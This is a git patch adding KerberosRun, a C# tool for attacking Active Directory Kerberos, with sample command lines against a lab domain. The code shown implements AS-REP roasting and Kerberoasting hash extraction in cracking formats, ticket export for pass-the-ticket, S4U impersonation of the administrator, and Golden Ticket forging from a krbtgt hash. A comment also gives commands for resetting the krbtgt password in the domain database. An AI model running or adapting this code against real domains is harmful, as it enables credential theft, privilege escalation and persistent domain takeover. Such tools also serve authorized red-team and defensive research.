From 1ff3d8f6f2495ab65d0d07269625f477c03e9050 Mon Sep 17 00:00:00 2001 From: dev-2null Date: Wed, 27 May 2020 19:31:19 +0800 Subject: [PATCH] KerberosRun Preview --- Authentication/Samples/AskTGS.md | 326 ++++ Authentication/Samples/AskTGT.md | 102 ++ Authentication/Samples/Asreproast.md | 46 + Authentication/Samples/Golden.md | 168 +++ Authentication/Samples/Kerberoast.md | 205 +++ Authentication/Samples/S4U.md | 499 +++++++ Authentication/Samples/S4U2Self.md | 387 +++++ Authentication/Samples/Sliver.md | 168 +++ KerberosRun/KerberosRun.sln | 24 + KerberosRun/KerberosRun/ASK.cs | 948 ++++++++++++ KerberosRun/KerberosRun/BuildTicket.cs | 201 +++ KerberosRun/KerberosRun/Commands.cs | 299 ++++ KerberosRun/KerberosRun/FodyWeavers.xml | 3 + KerberosRun/KerberosRun/FodyWeavers.xsd | 111 ++ KerberosRun/KerberosRun/KerberosRun.csproj | 103 ++ KerberosRun/KerberosRun/Kirbi.cs | 407 +++++ KerberosRun/KerberosRun/KrbConstants.cs | 102 ++ KerberosRun/KerberosRun/Options.cs | 188 +++ KerberosRun/KerberosRun/Pac.cs | 235 +++ KerberosRun/KerberosRun/PrintFunc.cs | 844 +++++++++++ KerberosRun/KerberosRun/Program.cs | 36 + .../KerberosRun/Properties/AssemblyInfo.cs | 26 + KerberosRun/KerberosRun/S4U.cs | 545 +++++++ KerberosRun/KerberosRun/Utils/Interop.cs | 1318 +++++++++++++++++ .../KerberosRun/Utils/KerberosHashCreds.cs | 55 + KerberosRun/KerberosRun/Utils/LSA.cs | 326 ++++ KerberosRun/KerberosRun/Utils/LUID.cs | 83 ++ KerberosRun/KerberosRun/Utils/Utils.cs | 83 ++ KerberosRun/KerberosRun/app.config | 15 + KerberosRun/KerberosRun/packages.config | 15 + KerberosRun/README.md | 36 + NOTICES | 17 + README.md | 111 +- 33 files changed, 7995 insertions(+), 37 deletions(-) create mode 100644 Authentication/Samples/AskTGS.md create mode 100644 Authentication/Samples/AskTGT.md create mode 100644 Authentication/Samples/Asreproast.md create mode 100644 Authentication/Samples/Golden.md create mode 100644 Authentication/Samples/Kerberoast.md create mode 100644 Authentication/Samples/S4U.md create mode 100644 Authentication/Samples/S4U2Self.md create mode 100644 Authentication/Samples/Sliver.md create mode 100644 KerberosRun/KerberosRun.sln create mode 100644 KerberosRun/KerberosRun/ASK.cs create mode 100644 KerberosRun/KerberosRun/BuildTicket.cs create mode 100644 KerberosRun/KerberosRun/Commands.cs create mode 100644 KerberosRun/KerberosRun/FodyWeavers.xml create mode 100644 KerberosRun/KerberosRun/FodyWeavers.xsd create mode 100644 KerberosRun/KerberosRun/KerberosRun.csproj create mode 100644 KerberosRun/KerberosRun/Kirbi.cs create mode 100644 KerberosRun/KerberosRun/KrbConstants.cs create mode 100644 KerberosRun/KerberosRun/Options.cs create mode 100644 KerberosRun/KerberosRun/Pac.cs create mode 100644 KerberosRun/KerberosRun/PrintFunc.cs create mode 100644 KerberosRun/KerberosRun/Program.cs create mode 100644 KerberosRun/KerberosRun/Properties/AssemblyInfo.cs create mode 100644 KerberosRun/KerberosRun/S4U.cs create mode 100644 KerberosRun/KerberosRun/Utils/Interop.cs create mode 100644 KerberosRun/KerberosRun/Utils/KerberosHashCreds.cs create mode 100644 KerberosRun/KerberosRun/Utils/LSA.cs create mode 100644 KerberosRun/KerberosRun/Utils/LUID.cs create mode 100644 KerberosRun/KerberosRun/Utils/Utils.cs create mode 100644 KerberosRun/KerberosRun/app.config create mode 100644 KerberosRun/KerberosRun/packages.config create mode 100644 KerberosRun/README.md create mode 100644 NOTICES diff --git a/Authentication/Samples/AskTGS.md b/Authentication/Samples/AskTGS.md new file mode 100644 index 0000000..9664e19 --- /dev/null +++ b/Authentication/Samples/AskTGS.md @@ -0,0 +1,326 @@ +```powershell +PS C:\Users> .\KerberosRun.exe --asktgs --user normaluser --pass [...] --spn time/win10.corplab.local --verbose --decrypttgs [...] --decryptetype aes256 --srvname adminuser + + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --asktgt --user normaluser --pass [...] --verbose --decrypttgt [...] --decryptetype aes256 + + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --asreproast --user normaluser --verbose + + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --golden --rc4 [...] --domainsid S-1-5-21-1977317821-1772133574-954835042 --user dev2null --domain corplab.local --verbose + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --kerberoast --user normaluser --pass [...] --spn time/win10.corplab.local --verbose + + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --s4u --user spnuseraes --pass [...] --impersonateuser administrator --spn ldap/dc1.corplab.local --verbose + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --s4u2self --user spnuseraes --pass [...] --impersonateuser administrator --verbose + + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- .\KerberosRun.exe --Sliver --domainsid S-1-5-21-1977317821-1772133574-954835042 --rc4 [...] --service ldap --host dc1$ --user adminuser --domain corplab.local --verbose + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_- askTGT(string kdc, + ILoggerFactory logger, + TcpKerberosTransport transport, + string username, + string password, + string domainName, + bool outKirbi = false, + bool verbose = false, + string format = "hashcat", + bool asreproast = false, + bool ptt = false, + string hash = null, + EncryptionType etype = EncryptionType.RC4_HMAC_NT, + bool outfile = false, + string tgtHash = null, + EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 + ) + { + var now = DateTime.Now; + + Console.WriteLine("[*] Starting Kerberos Authentication ..."); + + if (password != null) + { cred = new KerberosPasswordCredential(username, password, domainName); } + else + { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } + + credKey = cred.CreateKey(); + + //Pre-Auth + KrbAsReq asReqMessage = null; + KrbAsRep asRep = null; + bool notPreauth = true; + AuthenticationOptions authOptions = + AuthenticationOptions.IncludePacRequest | + AuthenticationOptions.RenewableOk | + AuthenticationOptions.Canonicalize | + AuthenticationOptions.Renewable | + AuthenticationOptions.Forwardable; + int authAttempt = 0; + + while (notPreauth) + { + authAttempt += 1; + + try + { + Console.WriteLine("[*] Sending AS-REQ ..."); + + var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication); + + var hostAddress = Environment.MachineName; + + var pacRequest = new KrbPaPacRequest + { + IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest) + }; + + var padata = new List() + { + new KrbPaData + { + Type = PaDataType.PA_PAC_REQUEST, + Value = pacRequest.Encode() + } + }; + + + asReqMessage = new KrbAsReq() + { + Body = new KrbKdcReqBody + { + Addresses = new[] + { + new KrbHostAddress + { + AddressType = AddressType.NetBios, + Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' ')) + } + }, + CName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_PRINCIPAL, + Name = new[] { username }// + "@" + domainName.ToUpper() } + }, + //KrbPrincipalName.FromString( + // username, + // PrincipalNameType.NT_ENTERPRISE, + // domainName + //), + EType = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype, + KdcOptions = kdcOptions, + Nonce = KrbConstants.KerberosConstants.GetNonce(), + RTime = KrbConstants.KerberosConstants.EndOfTime, + Realm = credKey.PrincipalName.Realm, + SName = new KrbPrincipalName + { + Type = PrincipalNameType.NT_SRV_INST, + Name = new[] { "krbtgt", credKey.PrincipalName.Realm } + }, + Till = KrbConstants.KerberosConstants.EndOfTime + }, + PaData = padata.ToArray() + }; + + if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) + { + var ts = new KrbPaEncTsEnc() + { + PaTimestamp = now, + PaUSec = now.Millisecond, + }; + + var tsEncoded = ts.Encode(); + + var padataAs = asReqMessage.PaData.ToList(); + + KrbEncryptedData encData = KrbEncryptedData.Encrypt( + tsEncoded, + credKey, + KeyUsage.PaEncTs + ); + + padataAs.Add(new KrbPaData + { + Type = PaDataType.PA_ENC_TIMESTAMP, + Value = encData.Encode() + }); + + asReqMessage.PaData = padataAs.ToArray(); + } + + //AS-Req Part + if (verbose) { PrintFunc.PrintReq(asReqMessage, credKey); } + + var asReq = asReqMessage.EncodeApplication(); + + asRep = await transport.SendMessage( + domainName, + asReq, + default(CancellationToken)); + + } + catch (KerberosProtocolException pex) + { + Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); + + if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED) + { + if (asreproast) + { + Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n"); + Environment.Exit(0); + } + else + { + //Salt issue for RID 500 Built-in admin account + //https://github.com/dotnet/Kerberos.NET/issues/164 + if (password != null) + { cred = new KerberosPasswordCredential(username, password, domainName); } + else + { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } + + cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication()); + credKey = cred.CreateKey(); + + authOptions |= AuthenticationOptions.PreAuthenticate; + Console.WriteLine("[*] Adding encrypted timestamp ..."); + } + + } + else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED) + { + Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n"); + Environment.Exit(0); + } + else + { + Console.WriteLine("[x] Authentication Stopped ...\n"); + Environment.Exit(0); + } + } + if (authAttempt == 2 || asreproast) + { + notPreauth = false; + } + + } + + Console.WriteLine("[*] Receiving AS-REP..."); + + if (asreproast) + { + //Asreproasting + string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty); + repHash = repHash.Insert(32, "$"); + + string hashString = ""; + if (format == "john") + { + hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash); + Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); + } + else + { + hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash); + Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); + } + } + else + { + try + { + KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)); + + if (verbose) + { + //AS-Rep Part + PrintFunc.PrintRep(asRep, credKey); + + if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) + { + Console.WriteLine(" * [Decrypted Enc-Part]:"); + + PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey); + + + ////////////////////////////////////////decrypt TGT + //// net stop ntds + //// $key =Get-BootKey -Online + //// $cred = ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force + //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key + //// net start ntds + + ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab")); + ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName); + /// + + if (!string.IsNullOrEmpty(tgtHash)) + { + var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype); + + //TGS - REQ Ticket Enc-Part + var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt + (krbtgtCred.CreateKey(), + KeyUsage.Ticket, + b => KrbEncTicketPart.DecodeApplication(b)); + Console.WriteLine(" * [Decrypted TGT]:"); + PrintFunc.PrintTicketEnc(ticketDecrypted); + //Encrypt the ticket again + asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(), + krbtgtCred.CreateKey(), KeyUsage.Ticket); + } + + //////////////////////////////////////TGT + } + } + + if (outKirbi || outfile) + { + var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt); + if (outKirbi) + { + Console.WriteLine("[+] TGT Kirbi:"); + Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGT)); + } + if (outfile) + { + Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT); + } + } + + } + catch (Exception e) + { + Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message); + //Environment.Exit(0); + } + } + + + + return (KrbAsRep)asRep; + + } + + + + //askTGS + public static async System.Threading.Tasks.Task askTGS(string kdc, + ILoggerFactory logger, + TcpKerberosTransport transport, + KrbAsRep asRep, + string username, + string password, + string domainName, + string spn, + bool isUnconstrained = false, + bool outKirbi = false, + bool verbose = false, + bool kerberoast = false, + bool ptt = false, + string hash = null, + EncryptionType etype = EncryptionType.RC4_HMAC_NT, + bool outfile = false, + string srvName = null, + string tgsHash = null, + EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 + ) + { + + var now = DateTime.Now; + + credKey = password != null ? + new KerberosPasswordCredential(username, password, domainName).CreateKey() : + new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); + + + KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)); + + var sessionKey = asDecrypted.Key; + + + + + //Request Service Ticket parameters + + ApOptions apOptions = ApOptions.Reserved; + KdcOptions kdcOptions = + KdcOptions.Forwardable | + KdcOptions.Renewable | + KdcOptions.RenewableOk | + KdcOptions.Canonicalize; + string s4u = null; + KrbTicket s4uTicket = null; + KrbTicket u2uServerTicket = null; + + if (isUnconstrained) + { + spn = $"krbtgt/{domainName}"; + kdcOptions |= KdcOptions.Forwarded; + } + + + var rst = new RequestServiceTicket() + { + ServicePrincipalName = spn, + ApOptions = apOptions, + S4uTarget = s4u, + S4uTicket = s4uTicket, + UserToUserTicket = u2uServerTicket, + KdcOptions = kdcOptions, + Realm = domainName + }; + + + var sname = rst.ServicePrincipalName.Split('/', '@'); + var tgt = asRep.Ticket; + + var additionalTickets = new List(); + + if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) + { + additionalTickets.Add(rst.UserToUserTicket); + } + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + rst.KdcOptions |= KdcOptions.Forwardable; + } + if (rst.S4uTicket != null) + { + rst.KdcOptions |= KdcOptions.ConstrainedDelegation; + + additionalTickets.Add(rst.S4uTicket); + } + + + var body = new KrbKdcReqBody + { + //Specify RC4 as the only supported EType + EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(), + KdcOptions = rst.KdcOptions, + Nonce = KrbConstants.KerberosConstants.GetNonce(), + Realm = rst.Realm, + SName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_SRV_INST, + Name = sname + }, + Till = KrbConstants.KerberosConstants.EndOfTime, + CName = rst.CNameHint + }; + + if (additionalTickets.Count > 0) + { + body.AdditionalTickets = additionalTickets.ToArray(); + } + + var bodyChecksum = KrbChecksum.Create( + body.Encode(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqChecksum + ); + + //ApReq + //Authenticator + var authenticator = new KrbAuthenticator + { + CName = asRep.CName, + Realm = asRep.Ticket.Realm, + SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), + Checksum = bodyChecksum, + CTime = now, + CuSec = now.Millisecond //new Random().Next(0, 999999) + }; + + var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); + + subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; + authenticator.Subkey = subSessionKey; + + var encryptedAuthenticator = KrbEncryptedData.Encrypt( + authenticator.EncodeApplication(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqAuthenticator + ); + + var apReq = new KrbApReq + { + Ticket = tgt, + ApOptions = apOptions, + Authenticator = encryptedAuthenticator + }; + + + var pacOptions = new KrbPaPacOptions + { + Flags = PacOptions.BranchAware + }.Encode(); + + var paData = new List() + { + new KrbPaData + { + Type = PaDataType.PA_TGS_REQ, + Value = apReq.EncodeApplication() + }, + new KrbPaData + { + Type = PaDataType.PA_PAC_OPTIONS, + Value = pacOptions + } + }; + + + + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + var paS4u = new KrbPaForUser + { + AuthPackage = "Kerberos", + UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, + UserRealm = tgt.Realm + }; + paS4u.GenerateChecksum(subSessionKey.AsKey()); + + paData.Add(new KrbPaData + { + Type = PaDataType.PA_FOR_USER, + Value = paS4u.Encode() + }); + } + + var tgs = new KrbTgsReq + { + PaData = paData.ToArray(), + Body = body + }; + + + + ReadOnlyMemory encodedTgs = tgs.EncodeApplication(); + + + Console.WriteLine("[*] Sending TGS-REQ ..."); + if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } + + + + CancellationToken cancellation = default; + cancellation.ThrowIfCancellationRequested(); + + + + KrbTgsRep tgsRep = null; + try + { + tgsRep = await transport.SendMessage( + rst.Realm, + encodedTgs, + cancellation + ); + } + catch (KerberosProtocolException pex) + { + Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message); + Environment.Exit(0); + } + + + Console.WriteLine("[*] Receiving TGS-REP ..."); + if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); } + + + + + + + + + + + var returnFlag = TicketFlags.Anonymous; + + try + { + //TGS-REP Enc-Part + //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144 + KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt( + subSessionKey.AsKey(), + KeyUsage.EncTgsRepPartSubSessionKey, + (ReadOnlyMemory t) => KrbEncTgsRepPart.DecodeApplication(t)); + + if (verbose) + { + Console.WriteLine(" * [Decrypted Enc-Part]:"); + PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); + + returnFlag = tgsDecryptedRepPart.Flags; + + + if (!string.IsNullOrEmpty(tgsHash)) + { + //========================================= + //TGS Tiket Enc-Part + //Service account Cred + var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype); + + //TGS-REQ Ticket Enc-Part + KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt + (kerbCred2.CreateKey(), + KeyUsage.Ticket, + (ReadOnlyMemory t) => KrbEncTicketPart.DecodeApplication(t)); + + Console.WriteLine(" * [Decrypted Ticket Enc-Part]:"); + PrintFunc.PrintTicketEnc(ticketDecrypted); + //========================================= + + } + } + + + if (outKirbi || outfile) + { + var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); + if (outKirbi) + { + Console.WriteLine("[+] TGS Kirbi:"); + Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); + } + if (outfile) + { + Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS); + } + } + + } + catch (Exception e) + { + Console.WriteLine("[x] {0}", e.Message); + } + + + + + if (kerberoast) + { + //Kerberoasting + var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString()); + var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", ""); + var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32)); + Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash); + + } + + + return returnFlag; + + + } + + + + //TODO... + //askTGS with TGT kirbi + public static async System.Threading.Tasks.Task askTGS2(string kdc, + ILoggerFactory logger, + TcpKerberosTransport transport, + KrbAsRep asRep, + string username, + string password, + string domainName, + string spn, + bool isUnconstrained = false, + bool outKirbi = false, + bool verbose = false, + bool kerberoast = false, + bool ptt = false, + string hash = null, + EncryptionType etype = EncryptionType.RC4_HMAC_NT, + bool outfile = false, + string srvName = null, + string tgsHash = null, + EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 + ) + { + + var now = DateTime.Now; + + credKey = password != null ? + new KerberosPasswordCredential(username, password, domainName).CreateKey() : + new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); + + + KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep( + asRep, + KeyUsage.EncAsRepPart, + d => KrbEncAsRepPart.DecodeApplication(d)); + + var sessionKey = asDecrypted.Key; + + + + + //Request Service Ticket parameters + + ApOptions apOptions = ApOptions.Reserved; + KdcOptions kdcOptions = + KdcOptions.Forwardable | + KdcOptions.Renewable | + KdcOptions.RenewableOk | + KdcOptions.Canonicalize; + string s4u = null; + KrbTicket s4uTicket = null; + KrbTicket u2uServerTicket = null; + + if (isUnconstrained) + { + spn = $"krbtgt/{domainName}"; + kdcOptions |= KdcOptions.Forwarded; + } + + + var rst = new RequestServiceTicket() + { + ServicePrincipalName = spn, + ApOptions = apOptions, + S4uTarget = s4u, + S4uTicket = s4uTicket, + UserToUserTicket = u2uServerTicket, + KdcOptions = kdcOptions, + Realm = domainName + }; + + + var sname = rst.ServicePrincipalName.Split('/', '@'); + var tgt = asRep.Ticket; + + var additionalTickets = new List(); + + if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) + { + additionalTickets.Add(rst.UserToUserTicket); + } + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + rst.KdcOptions |= KdcOptions.Forwardable; + } + if (rst.S4uTicket != null) + { + rst.KdcOptions |= KdcOptions.ConstrainedDelegation; + + additionalTickets.Add(rst.S4uTicket); + } + + + var body = new KrbKdcReqBody + { + //Specify RC4 as the only supported EType + EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(), + KdcOptions = rst.KdcOptions, + Nonce = KrbConstants.KerberosConstants.GetNonce(), + Realm = rst.Realm, + SName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_SRV_INST, + Name = sname + }, + Till = KrbConstants.KerberosConstants.EndOfTime, + CName = rst.CNameHint + }; + + if (additionalTickets.Count > 0) + { + body.AdditionalTickets = additionalTickets.ToArray(); + } + + var bodyChecksum = KrbChecksum.Create( + body.Encode(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqChecksum + ); + + //ApReq + //Authenticator + var authenticator = new KrbAuthenticator + { + CName = asRep.CName, + Realm = asRep.Ticket.Realm, + SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), + Checksum = bodyChecksum, + CTime = now, + CuSec = now.Millisecond //new Random().Next(0, 999999) + }; + + var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); + + subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; + authenticator.Subkey = subSessionKey; + + var encryptedAuthenticator = KrbEncryptedData.Encrypt( + authenticator.EncodeApplication(), + sessionKey.AsKey(), + KeyUsage.PaTgsReqAuthenticator + ); + + var apReq = new KrbApReq + { + Ticket = tgt, + ApOptions = apOptions, + Authenticator = encryptedAuthenticator + }; + + + var pacOptions = new KrbPaPacOptions + { + Flags = PacOptions.BranchAware + }.Encode(); + + var paData = new List() + { + new KrbPaData + { + Type = PaDataType.PA_TGS_REQ, + Value = apReq.EncodeApplication() + }, + new KrbPaData + { + Type = PaDataType.PA_PAC_OPTIONS, + Value = pacOptions + } + }; + + + + if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) + { + var paS4u = new KrbPaForUser + { + AuthPackage = "Kerberos", + UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, + UserRealm = tgt.Realm + }; + paS4u.GenerateChecksum(subSessionKey.AsKey()); + + paData.Add(new KrbPaData + { + Type = PaDataType.PA_FOR_USER, + Value = paS4u.Encode() + }); + } + + var tgs = new KrbTgsReq + { + PaData = paData.ToArray(), + Body = body + }; + + + + ReadOnlyMemory encodedTgs = tgs.EncodeApplication(); + + + Console.WriteLine("[*] Sending TGS-REQ ..."); + if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } + + + + CancellationToken cancellation = default; + cancellation.ThrowIfCancellationRequested(); + + + + KrbTgsRep tgsRep = null; + try + { + tgsRep = await transport.SendMessage( + rst.Realm, + encodedTgs, + cancellation + ); + } + catch (KerberosProtocolException pex) + { + Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message); + Environment.Exit(0); + } + + + Console.WriteLine("[*] Receiving TGS-REP ..."); + if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); } + + + + + + + + + + + var returnFlag = TicketFlags.Anonymous; + + try + { + //TGS-REP Enc-Part + //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144 + KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt( + subSessionKey.AsKey(), + KeyUsage.EncTgsRepPartSubSessionKey, + (ReadOnlyMemory t) => KrbEncTgsRepPart.DecodeApplication(t)); + + if (verbose) + { + Console.WriteLine(" * [Decrypted Enc-Part]:"); + PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); + + returnFlag = tgsDecryptedRepPart.Flags; + + + if (!string.IsNullOrEmpty(tgsHash)) + { + //========================================= + //TGS Tiket Enc-Part + //Service account Cred + var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype); + + //TGS-REQ Ticket Enc-Part + KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt + (kerbCred2.CreateKey(), + KeyUsage.Ticket, + (ReadOnlyMemory t) => KrbEncTicketPart.DecodeApplication(t)); + + Console.WriteLine(" * [Decrypted Ticket Enc-Part]:"); + PrintFunc.PrintTicketEnc(ticketDecrypted); + //========================================= + + } + } + + + if (outKirbi || outfile) + { + var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); + if (outKirbi) + { + Console.WriteLine("[+] TGS Kirbi:"); + Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); + } + if (outfile) + { + Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS); + } + } + + } + catch (Exception e) + { + Console.WriteLine("[x] {0}", e.Message); + } + + + + + if (kerberoast) + { + //Kerberoasting + var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString()); + var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", ""); + var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32)); + Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash); + + } + + + return returnFlag; + + + } + + } +} diff --git a/KerberosRun/KerberosRun/BuildTicket.cs b/KerberosRun/KerberosRun/BuildTicket.cs new file mode 100644 index 0000000..e0044ec --- /dev/null +++ b/KerberosRun/KerberosRun/BuildTicket.cs @@ -0,0 +1,201 @@ +using System; +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; + + +namespace KerberosRun +{ + class BuildTicket + { + //If the decryption routines detect a modification of the ticket, the KRB_AP_ERR_MODIFIED error message is returned. + + public static KrbTicket BuildGolden(string krbtgtHash, EncryptionType etype, string username, string realm, int userid, string domainsid, + bool ptt = false, bool verbose = false) + { + var now = DateTime.UtcNow.AddTicks(-(DateTime.Now.Ticks % TimeSpan.TicksPerSecond)); + + Console.WriteLine("\n[*] Building Golden Ticket ..."); + + var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", krbtgtHash, etype); + + var authData = Pac.generatePac(username, domainsid, realm, krbtgtCred.CreateKey(), now, userid); + + //Arbitrary session key + var sessionKey = KrbEncryptionKey.Generate(EncryptionType.RC4_HMAC_NT); + + KrbEncTicketPart encTicket = new KrbEncTicketPart() + { + AuthTime = now, + StartTime = now, + //Ticket Expiration time (valid for 10 hours) + EndTime = now.AddHours(10), + RenewTill = now.AddDays(7), + CRealm = realm, + CName = new KrbPrincipalName() + { + Type = PrincipalNameType.NT_PRINCIPAL, + Name = new[] { username } + }, + Flags = //TicketFlags.EncryptedPreAuthentication | + TicketFlags.PreAuthenticated | + TicketFlags.Initial | + TicketFlags.Renewable | + TicketFlags.Forwardable, + AuthorizationData = authData, + CAddr = null, + Key = sessionKey, + Transited = new KrbTransitedEncoding(), + + }; + + var encData = KrbEncryptedData.Encrypt( + encTicket.EncodeApplication(), + krbtgtCred.CreateKey(), + KeyUsage.Ticket); + + //encData.KeyVersionNumber = 2; + + var goldenTicket = new KrbTicket() + { + TicketNumber = 5, + Realm = realm, + SName = new KrbPrincipalName + { + Type = PrincipalNameType.NT_SRV_INST, + Name = new[] { "krbtgt", realm } + }, + EncryptedPart = encData, + }; + + + + + if (verbose) + { + + var de = goldenTicket.EncryptedPart.Decrypt + (krbtgtCred.CreateKey(), + KeyUsage.Ticket, + b => KrbEncTicketPart.DecodeApplication(b)); + + Console.WriteLine("[*] Decrypting Golden Ticket ..."); + PrintFunc.PrintTicketEnc(de); + } + + 